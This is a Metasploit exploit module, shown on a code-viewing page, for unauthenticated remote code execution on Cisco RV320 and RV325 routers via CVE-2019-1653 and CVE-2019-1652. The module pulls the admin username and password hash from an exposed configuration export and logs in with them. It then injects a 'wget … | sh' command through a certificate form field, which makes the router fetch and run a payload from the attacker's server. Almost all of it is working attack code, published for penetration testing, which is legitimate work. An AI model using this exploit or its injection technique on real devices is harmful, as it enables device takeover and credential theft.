CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/cisco_rv32x_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::Remote::HttpServer::HTML
12
include Msf::Exploit::CmdStager
13
14
def initialize(info={})
15
super(update_info(info,
16
'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution",
17
'Description' => %q{
18
This exploit module combines an information disclosure (CVE-2019-1653)
19
and a command injection vulnerability (CVE-2019-1652) together to gain
20
unauthenticated remote code execution on Cisco RV320 and RV325 small business
21
routers. Can be exploited via the WAN interface of the router. Either via HTTPS
22
on port 443 or HTTP on port 8007 on some older firmware versions.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'RedTeam Pentesting GmbH', # Discovery, Metasploit
27
'Philip Huppert', # Discovery
28
'Benjamin Grap' # Metasploit
29
],
30
'References' => [
31
[ 'CVE','2019-1653' ],
32
[ 'CVE','2019-1652' ],
33
[ 'EDB','46243' ],
34
[ 'BID','106728' ],
35
[ 'BID','106732' ],
36
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ],
37
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ]
38
],
39
'Platform' => 'linux',
40
'Targets' =>
41
[
42
[ 'LINUX MIPS64',
43
{
44
'Platform' => 'linux',
45
'Arch' => ARCH_MIPS64
46
}
47
]
48
],
49
'Payload' =>
50
{
51
'BadChars' => ""
52
},
53
'CmdStagerFlavor' => [ 'bourne' ],
54
'Privileged' => true,
55
'DisclosureDate' => '2018-09-09',
56
'DefaultTarget' => 0))
57
58
register_options([
59
Opt::RPORT(8007), # port of Cisco webinterface
60
OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']),
61
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]),
62
OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up.
63
])
64
deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option.
65
deregister_options('SSLCert') # not required since stager only uses HTTP.
66
end
67
68
def execute_command(cmd, opts = {})
69
# use generated payload, we don't have to do anything here
70
end
71
72
def autofilter
73
true
74
end
75
76
def on_request_uri(cli, req)
77
print_status("#{peer} - Payload request received: #{req.uri}")
78
@cmdstager = generate_cmdstager().join(';')
79
send_response(cli, "#{@cmdstager}")
80
end
81
82
def primer
83
payload_url = get_uri
84
print_status("Downloading configuration from #{peer}")
85
if(datastore['USE_SSL'])
86
print_status("Using SSL connection to router.")
87
end
88
res = send_request_cgi({
89
'uri' => normalize_uri("cgi-bin","config.exp"),
90
'SSL' => datastore['USE_SSL']
91
})
92
unless res
93
vprint_error('Connection failed.')
94
return nil
95
end
96
97
unless res.code == 200
98
vprint_error('Could not download config. Aborting.')
99
return nil
100
end
101
102
print_status("Successfully downloaded config")
103
username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1]
104
pass = res.body.match(/^PASSWD=(\h+)/)[1]
105
authkey = "1964300002"
106
print_status("Got MD5-Hash: #{pass}")
107
print_status("Loging in as user #{username} using password hash.")
108
print_status("Using default auth_key #{authkey}")
109
res2 = send_request_cgi({
110
'uri' => normalize_uri("cgi-bin","userLogin.cgi"),
111
'SSL' => datastore['USE_SSL'],
112
'method' => 'POST',
113
'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch&current_password=&new_password=&re_new_password="
114
})
115
116
unless res
117
vprint_error('Connection failed during login. Aborting.')
118
return nil
119
end
120
121
unless res.code == 200
122
vprint_error('Login failed with downloaded credentials. Aborting.')
123
return nil
124
end
125
126
#Extract authentication cookies
127
cookies = res2.get_cookies()
128
print_status("Successfully logged in as user #{username}.")
129
print_status("Got cookies: #{cookies}")
130
print_status("Sending payload. Staging via #{payload_url}.")
131
#Build staging command
132
command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'")
133
if(command_string.length <= 63)
134
print_status("Staging command length looks good. Sending exploit!")
135
else
136
vprint_error("Warning: Staging command length probably too long. Trying anyway...")
137
end
138
139
res3 = send_request_cgi({
140
'uri' => normalize_uri("certificate_handle2.htm"),
141
'SSL' => datastore['USE_SSL'],
142
'method' => 'POST',
143
'cookie' => cookies,
144
'vars_get' => {
145
'type' => '4',
146
},
147
'vars_post' => {
148
'page' => 'self_generator.htm',
149
'totalRules' => '1',
150
'OpenVPNRules' => '30',
151
'submitStatus' => '1',
152
'log_ch' => '1',
153
'type' => '4',
154
'Country' => 'A',
155
'state' => 'A',
156
'locality' => 'A',
157
'organization' => 'A',
158
'organization_unit' => 'A',
159
'email' => '[email protected]',
160
'KeySize' => '512',
161
'KeyLength' => '1024',
162
'valid_days' => '30',
163
'SelectSubject_c' => '1',
164
'SelectSubject_s' => '1'
165
},
166
'data' => "common_name=#{command_string}"
167
})
168
unless res3
169
vprint_error('Connection failed while sending command. Aborting.')
170
return nil
171
end
172
173
unless res3.code == 200
174
vprint_error('Sending command not successful.')
175
return nil
176
end
177
print_status("Sending payload timed out. Waiting for stager to connect...")
178
end
179
180
def check
181
#Check if device is vulnerable by downloading the config
182
res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")})
183
184
unless res
185
vprint_error('Connection failed.')
186
return CheckCode::Unknown
187
end
188
189
unless res.code == 200
190
return CheckCode::Safe
191
end
192
193
unless res.body =~ /PASSWD/
194
return CheckCode::Detected
195
end
196
197
CheckCode::Vulnerable
198
end
199
200
def exploit
201
# Main function.
202
# Setting delay for the Stager.
203
Timeout.timeout(datastore['HTTPDELAY']) {super}
204
rescue Timeout::Error
205
print_status("Waiting for stager connection timed out. Try increasing the delay.")
206
end
207
end
208
209